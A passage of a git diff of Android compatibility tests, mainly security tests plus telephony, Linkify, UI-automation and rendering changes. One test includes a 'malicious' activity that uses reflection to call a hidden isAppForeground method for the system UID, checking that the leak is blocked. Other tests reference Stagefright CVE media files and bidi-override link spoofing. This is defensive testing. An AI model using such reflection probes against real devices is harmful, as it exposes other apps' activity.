+ sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+ .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+ }
+
+ public void testIsAppInForegroundMalicious() throws Exception {
+ /* Verify that isAppForeground cannot be called by another app on a known uid. */
+ launchActivity(MaliciousActivity.class);
+ launchSettingsActivity();
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertFalse("isAppForeground successfully queried for a uid other than itself.",
+ sIsAppForeground);
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ private void launchSettingsActivity() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ public static class NormalActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+ startService(intent);
+ }
+ }
+
+ public static class MaliciousActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+ startService(intent);
+ finish();
+ }
+ }
+
+ public static class AppMonitoringService extends Service {
+
+ private static final String EXTRA_UID = "android.security.cts.extra.UID";
+ private int uid;
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ uid = intent.getIntExtra(EXTRA_UID, -1);
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ public AppMonitoringService() {
+ super.onCreate();
+
+ final Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ public void run() {
+ try {
+ ActivityManager activityManager = (ActivityManager) getSystemService(
+ ACTIVITY_SERVICE);
+ Field field = activityManager.getClass().getDeclaredField(
+ "IActivityManagerSingleton");
+ field.setAccessible(true);
+ Object fieldValue = field.get(activityManager);
+ Method method = fieldValue.getClass().getDeclaredMethod("create");
+ method.setAccessible(true);
+ Object IActivityInstance = method.invoke(fieldValue);
+ Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+ "isAppForeground", int.class);
+ isAppForeground.setAccessible(true);
+ boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+ if (res) {
+ sIsAppForeground = true;
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+ sCannotReflect = true;
+ }
+ sLatch.countDown();
+ handler.postDelayed(this, 200);
+
+ }
+ }, 0);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ throw new UnsupportedOperationException("Not yet implemented");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 71e4c4f..9ce81a8 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -98,8 +98,9 @@
// APK for an activity that collects information printed in the CTS report header
"android.tests.devicesetup",
- // Wifi test utility used by Tradefed...
+ // Test utilities used by Tradefed harness
"com.android.tradefed.utils.wifi",
+ "android.tradefed.contentprovider",
// Game used for CTS testing...
"com.replica.replicaisland",
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6c44889..5b9e8e3 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -928,6 +928,41 @@
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2018-03")
+ public void testStagefright_cve_2017_17773() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_17773);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testStagefright_cve_2017_18074() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_18074);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testStagefright_cve_2018_5894() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5894);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5874() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5874);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5875() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5875);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5876() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5876);
+ }
+
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5882() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5882);
+ }
+
@SecurityTest(minPatchLevel = "2017-12")
public void testBug_65186291() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
new file mode 100644
index 0000000..23bd6fd
--- /dev/null
+++ b/tests/tests/security/testeffect/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Test effect library
+cc_test_library {
+ name: "libctstesteffect",
+ srcs: ["CTSTestEffect.cpp"],
+ cflags: [
+ "-O2",
+ "-fvisibility=hidden",
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-Wno-gnu-designator",
+ ],
+ relative_install_path: "soundfx",
+ include_dirs: ["system/media/audio_effects/include"],
+}
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
deleted file mode 100644
index 0784b5d..0000000
--- a/tests/tests/security/testeffect/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# Test effect library
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES:= \
- CTSTestEffect.cpp
-
-LOCAL_CFLAGS+= -O2 -fvisibility=hidden
-
-LOCAL_MODULE_RELATIVE_PATH := soundfx
-LOCAL_MODULE:= libctstesteffect
-
-LOCAL_C_INCLUDES := \
- $(call include-path-for, audio-effects)
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-gnu-designator
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
index 6bbcb89..c3e6459 100644
--- a/tests/tests/selinux/selinuxEphemeral/Android.bp
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -18,8 +18,8 @@
defaults: ["cts_defaults"],
compile_multilib: "both",
static_libs: [
- "ctstestrunner",
- "compatibility-device-util",
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
],
libs: [
"android.test.base.stubs",
diff --git a/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
index 55d61a5..9e2deeb 100644
--- a/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.selinuxephemeral.cts"
android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
<meta-data android:name="listener"
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index a2a4c84..4610d7c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -19,10 +19,17 @@
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.MODE_IGNORED;
import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
+import static android.telephony.ServiceState.STATE_IN_SERVICE;
import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.android.compatibility.common.util.AppOpsUtils.setOpMode;
+import static com.android.internal.telephony.TelephonyIntents.EXTRA_SPN;
+import static com.android.internal.telephony.TelephonyIntents.SPN_STRINGS_UPDATED_ACTION;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -30,23 +37,34 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
import android.net.ConnectivityManager;
+import android.os.Looper;
import android.os.PersistableBundle;
import android.platform.test.annotations.SecurityTest;
import android.telephony.CarrierConfigManager;
import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
-import java.io.IOException;
+import com.android.compatibility.common.util.TestThread;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
+import java.io.IOException;
+
public class CarrierConfigManagerTest {
+
+ private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
private CarrierConfigManager mConfigManager;
private TelephonyManager mTelephonyManager;
+ private static final int TOLERANCE = 2000;
+ private final Object mLock = new Object();
@Before
public void setUp() throws Exception {
@@ -168,4 +186,60 @@
}
}
+ /**
+ * This checks that {@link CarrierConfigManager#overrideConfig(int, PersistableBundle)}
+ * correctly overrides the Carrier Name (SPN) string.
+ */
+ @Test
+ public void testCarrierConfigNameOverride() throws Exception {
+ if (mTelephonyManager.getServiceState().getState() != STATE_IN_SERVICE) return;
+
+ // Adopt shell permission so the required permission (android.permission.MODIFY_PHONE_STATE)
+ // is granted.
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ ui.adoptShellPermissionIdentity();
+
+ int subId = SubscriptionManager.getDefaultSubscriptionId();
+ TestThread t = new TestThread(new Runnable() {
+ @Override
+ public void run() {
+ Looper.prepare();
+
+ PersistableBundle carrierNameOverride = new PersistableBundle(3);
+ carrierNameOverride.putBoolean(KEY_CARRIER_NAME_OVERRIDE_BOOL, true);
+ carrierNameOverride.putBoolean(KEY_FORCE_HOME_NETWORK_BOOL, true);
+ carrierNameOverride.putString(KEY_CARRIER_NAME_STRING, CARRIER_NAME_OVERRIDE);
+ mConfigManager.overrideConfig(subId, carrierNameOverride);
+
+ Looper.loop();
+ }
+ });
+
+ try {
+ BroadcastReceiver spnBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (CARRIER_NAME_OVERRIDE.equals(intent.getStringExtra(EXTRA_SPN))) {
+ synchronized (mLock) {
+ mLock.notify();
+ }
+ }
+ }
+ };
+
+ getContext().registerReceiver(
+ spnBroadcastReceiver,
+ new IntentFilter(SPN_STRINGS_UPDATED_ACTION));
+
+ synchronized (mLock) {
+ t.start();
+ mLock.wait(TOLERANCE); // wait for SPN broadcast
+ }
+
+ assertEquals(CARRIER_NAME_OVERRIDE, mTelephonyManager.getSimOperatorName());
+ } finally {
+ mConfigManager.overrideConfig(subId, null);
+ ui.dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 5a4933a..4e67af7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -86,6 +86,8 @@
@BeforeClass
public static void setUpClass() throws Exception {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.executeShellCommand("svc wifi disable");
@@ -108,12 +110,16 @@
@AfterClass
public static void tearDownClass() throws Exception {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.executeShellCommand("svc wifi enable");
}
@Before
public void setUp() throws Exception {
+ if (!isSupported()) return;
+
mSm = InstrumentationRegistry.getContext().getSystemService(SubscriptionManager.class);
mSubId = SubscriptionManager.getDefaultDataSubscriptionId();
mPackageName = InstrumentationRegistry.getContext().getPackageName();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index d558f93..70e0acc 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -55,6 +55,7 @@
import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import android.telephony.UiccCardInfo;
+import android.telephony.UiccSlotInfo;
import android.telephony.cts.locationaccessingapp.CtsLocationAccessService;
import android.telephony.cts.locationaccessingapp.ICtsLocationAccessControl;
import android.telephony.emergency.EmergencyNumber;
@@ -72,12 +73,16 @@
import org.junit.Test;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.function.Consumer;
import java.util.regex.Pattern;
+import java.util.stream.Collectors;
/**
* Build, install and run the tests by running the commands below:
@@ -1244,12 +1249,31 @@
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
}
+ int slotIndex = getValidSlotIndex();
+ String result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
+ slotIndex,
+ 0 /* channel */,
+ 0 /* cla */,
+ 0 /* instruction */,
+ 0 /* p1 */,
+ 0 /* p2 */,
+ 0 /* p3 */,
+ null /* data */));
+ assertTrue(TextUtils.isEmpty(result));
+ }
+
+ @Test
+ public void testIccTransmitApduBasicChannelBySlot() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
// just verify no crash
+ int slotIndex = getValidSlotIndex();
try {
ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
- 0 /* slotIndex */,
- 0 /* channel */,
+ mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
+ slotIndex,
0 /* cla */,
0 /* instruction */,
0 /* p1 */,
@@ -1261,25 +1285,31 @@
}
}
- @Test
- public void testIccTransmitApduBasicChannelBySlot() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
- return;
- }
- // just verify no crash
- try {
- ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
- 0 /* slotIndex */,
- 0 /* cla */,
- 0 /* instruction */,
- 0 /* p1 */,
- 0 /* p2 */,
- 0 /* p3 */,
- null /* data */));
- } catch (IllegalArgumentException e ) {
- // IllegalArgumentException is okay, just not SecurityException
- }
+ private int getValidSlotIndex() {
+ return ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> {
+ List<UiccCardInfo> cardInfos = mTelephonyManager.getUiccCardsInfo();
+ Set<String> presentCards = Arrays.stream(mTelephonyManager.getUiccSlotsInfo())
+ .filter(UiccSlotInfo::getIsActive)
+ .map(UiccSlotInfo::getCardId)
+ .filter(Objects::nonNull)
+ // hack around getUiccSlotsInfo not stripping trailing F
+ .map(s -> s.endsWith("F") ? s.substring(0, s.length() - 1) : s)
+ .collect(Collectors.toSet());
+ int slotIndex = -1;
+ for (UiccCardInfo cardInfo : cardInfos) {
+ if (presentCards.contains(cardInfo.getIccId())
+ || presentCards.contains(cardInfo.getEid())) {
+ slotIndex = cardInfo.getSlotIndex();
+ break;
+ }
+ }
+ if (slotIndex < 0) {
+ fail("Test must be run with SIM card inserted, presentCards = "
+ + presentCards + "cardinfos = " + cardInfos);
+ }
+ return slotIndex;
+ });
}
public static void waitForMs(long ms) {
diff --git a/tests/tests/telephony/sdk28/AndroidTest.xml b/tests/tests/telephony/sdk28/AndroidTest.xml
index ab37882..32c0401 100644
--- a/tests/tests/telephony/sdk28/AndroidTest.xml
+++ b/tests/tests/telephony/sdk28/AndroidTest.xml
@@ -18,6 +18,8 @@
<option name="config-descriptor:metadata" key="component" value="telecom" />
<option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
<option name="not-shardable" value="true" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
<option name="apk" value="CtsTelephonyPreparerApp.apk" />
<option name="package" value="android.telephony.cts.preconditions.app" />
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 67a52da..99d3c54 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -936,6 +936,17 @@
domain.length(), email);
}
+ @Test
+ public void testAddLinks_unsupportedCharacters() {
+ String url = "moc.diordna.com";
+ verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+ verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+ verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+ verifyAddLinksWithWebUrlFails(
+ "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+ }
+
// Utility functions
private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 16ced50d..9fedbbf 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -367,7 +367,7 @@
uiAutomation.destroy();
assertTrue(UiAutomationTestA11yService.sConnectedInstance.isConnected());
getInstrumentation().getUiAutomation(); // Should suppress
- assertFalse(UiAutomationTestA11yService.sConnectedInstance.isConnected());
+ waitForAccessibilityServiceToUnbind();
} finally {
turnAccessibilityOff();
}
@@ -385,7 +385,7 @@
UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation();
// We verify above that the connection is broken here. Make sure we see a new one
// after we destroy it
- UiAutomationTestA11yService.sConnectedInstance = null;
+ waitForAccessibilityServiceToUnbind();
suppressingUiAutomation.destroy();
waitForAccessibilityServiceToStart();
} finally {
@@ -404,7 +404,7 @@
getInstrumentation().getUiAutomation();
// We verify above that the connection is broken here. Make sure we see a new one
// after we change the flags
- UiAutomationTestA11yService.sConnectedInstance = null;
+ waitForAccessibilityServiceToUnbind();
getInstrumentation()
.getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
waitForAccessibilityServiceToStart();
@@ -471,12 +471,12 @@
private void waitForAccessibilityServiceToStart() {
long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
- synchronized(UiAutomationTestA11yService.sWaitObjectForConnecting) {
+ synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
if (UiAutomationTestA11yService.sConnectedInstance != null) {
return;
}
try {
- UiAutomationTestA11yService.sWaitObjectForConnecting.wait(
+ UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind.wait(
timeoutTimeMillis - SystemClock.uptimeMillis());
} catch (InterruptedException e) {
// Ignored; loop again
@@ -486,6 +486,24 @@
throw new RuntimeException("Test accessibility service not starting");
}
+ private void waitForAccessibilityServiceToUnbind() {
+ long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
+ while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
+ synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+ if (UiAutomationTestA11yService.sConnectedInstance == null) {
+ return;
+ }
+ try {
+ UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind.wait(
+ timeoutTimeMillis - SystemClock.uptimeMillis());
+ } catch (InterruptedException e) {
+ // Ignored; loop again
+ }
+ }
+ }
+ throw new RuntimeException("Test accessibility service doesn't unbind");
+ }
+
private void turnAccessibilityOff() {
getInstrumentation().getUiAutomation().destroy();
final Object waitLockForA11yOff = new Object();
@@ -504,7 +522,6 @@
ContentResolver cr = context.getContentResolver();
Settings.Secure.putString(
cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, null);
- UiAutomationTestA11yService.sConnectedInstance = null;
long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
synchronized (waitLockForA11yOff) {
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
index ca598bc..e708784 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
@@ -15,6 +15,8 @@
package android.app.uiautomation.cts;
import android.accessibilityservice.AccessibilityService;
+import android.content.Intent;
+import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
/**
@@ -22,12 +24,24 @@
* services
*/
public class UiAutomationTestA11yService extends AccessibilityService {
- public static Object sWaitObjectForConnecting = new Object();
+ private static String LOG_TAG = "UiAutomationTest";
+ public static Object sWaitObjectForConnectOrUnbind = new Object();
public static UiAutomationTestA11yService sConnectedInstance;
@Override
+ public boolean onUnbind(Intent intent) {
+ synchronized (sWaitObjectForConnectOrUnbind) {
+ sConnectedInstance = null;
+ sWaitObjectForConnectOrUnbind.notifyAll();
+ }
+ Log.v(LOG_TAG, "onUnbind [" + this + "]");
+ return false;
+ }
+
+ @Override
public void onDestroy() {
+ Log.v(LOG_TAG, "onDestroy [" + this + "]");
}
@Override
@@ -41,10 +55,11 @@
@Override
protected void onServiceConnected() {
- synchronized (sWaitObjectForConnecting) {
+ synchronized (sWaitObjectForConnectOrUnbind) {
sConnectedInstance = this;
- sWaitObjectForConnecting.notifyAll();
+ sWaitObjectForConnectOrUnbind.notifyAll();
}
+ Log.v(LOG_TAG, "onServiceConnected [" + this + "]");
}
public boolean isConnected() {
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/uirendering/res/drawable-nodpi/vector_drawable_scale_golden.png
similarity index 100%
rename from tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
rename to tests/tests/uirendering/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/sunset1.jpg b/tests/tests/uirendering/res/drawable/sunset1.jpg
index 92851f3..3b30b36 100644
--- a/tests/tests/uirendering/res/drawable/sunset1.jpg
+++ b/tests/tests/uirendering/res/drawable/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/vector_icon_create.xml b/tests/tests/uirendering/res/drawable/vector_icon_create.xml
new file mode 100644
index 0000000..7db4ad5
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/vector_icon_create.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+ android:height="64dp"
+ android:width="64dp"
+ android:viewportHeight="24"
+ android:viewportWidth="24" >
+
+ <path
+ android:fillColor="#FF000000"
+ android:pathData="M3.0,17.25L3.0,21.0l3.75,0.0L17.813995,9.936001l-3.75-3.75L3.0,17.25zM20.707,7.0429993c0.391-0.391 0.391-1.023 0.0-1.414l-2.336-2.336c-0.391-0.391-1.023-0.391 -1.414,0.0l-1.832,1.832l3.75,3.75L20.707,7.0429993z" />
+
+</vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml b/tests/tests/uirendering/res/layout/vector_drawable_scale_layout.xml
similarity index 100%
rename from tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml
rename to tests/tests/uirendering/res/layout/vector_drawable_scale_layout.xml
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
index e65ff2d..c8a1ebd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
@@ -40,6 +40,17 @@
mThreshold = threshold;
}
+ /**
+ * Compute the size of the window. The window defaults to WINDOW_SIZE, but
+ * must be contained within dimension.
+ */
+ private int computeWindowSize(int coordinateStart, int dimension) {
+ if (coordinateStart + WINDOW_SIZE <= dimension) {
+ return WINDOW_SIZE;
+ }
+ return dimension - coordinateStart;
+ }
+
@Override
public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
int height) {
@@ -47,16 +58,20 @@
int windows = 0;
for (int currentWindowY = 0 ; currentWindowY < height ; currentWindowY += WINDOW_SIZE) {
+ int windowHeight = computeWindowSize(currentWindowY, height);
for (int currentWindowX = 0 ; currentWindowX < width ; currentWindowX += WINDOW_SIZE) {
+ int windowWidth = computeWindowSize(currentWindowX, width);
int start = indexFromXAndY(currentWindowX, currentWindowY, stride, offset);
- if (isWindowWhite(ideal, start, stride) && isWindowWhite(given, start, stride)) {
+ if (isWindowWhite(ideal, start, stride, windowWidth, windowHeight)
+ && isWindowWhite(given, start, stride, windowWidth, windowHeight)) {
continue;
}
windows++;
- double[] means = getMeans(ideal, given, start, stride);
+ double[] means = getMeans(ideal, given, start, stride, windowWidth, windowHeight);
double meanX = means[0];
double meanY = means[1];
- double[] variances = getVariances(ideal, given, meanX, meanY, start, stride);
+ double[] variances = getVariances(ideal, given, meanX, meanY, start, stride,
+ windowWidth, windowHeight);
double varX = variances[0];
double varY = variances[1];
double stdBoth = variances[2];
@@ -76,9 +91,10 @@
return (SSIMTotal >= mThreshold);
}
- private boolean isWindowWhite(int[] colors, int start, int stride) {
- for (int y = 0 ; y < WINDOW_SIZE ; y++) {
- for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+ private boolean isWindowWhite(int[] colors, int start, int stride,
+ int windowWidth, int windowHeight) {
+ for (int y = 0; y < windowHeight; y++) {
+ for (int x = 0; x < windowWidth; x++) {
if (colors[indexFromXAndY(x, y, stride, start)] != Color.WHITE) {
return false;
}
@@ -101,18 +117,19 @@
* where the first double is the mean of the first set and the second double is the mean of the
* second set.
*/
- private double[] getMeans(int[] pixels0, int[] pixels1, int start, int stride) {
+ private double[] getMeans(int[] pixels0, int[] pixels1, int start, int stride,
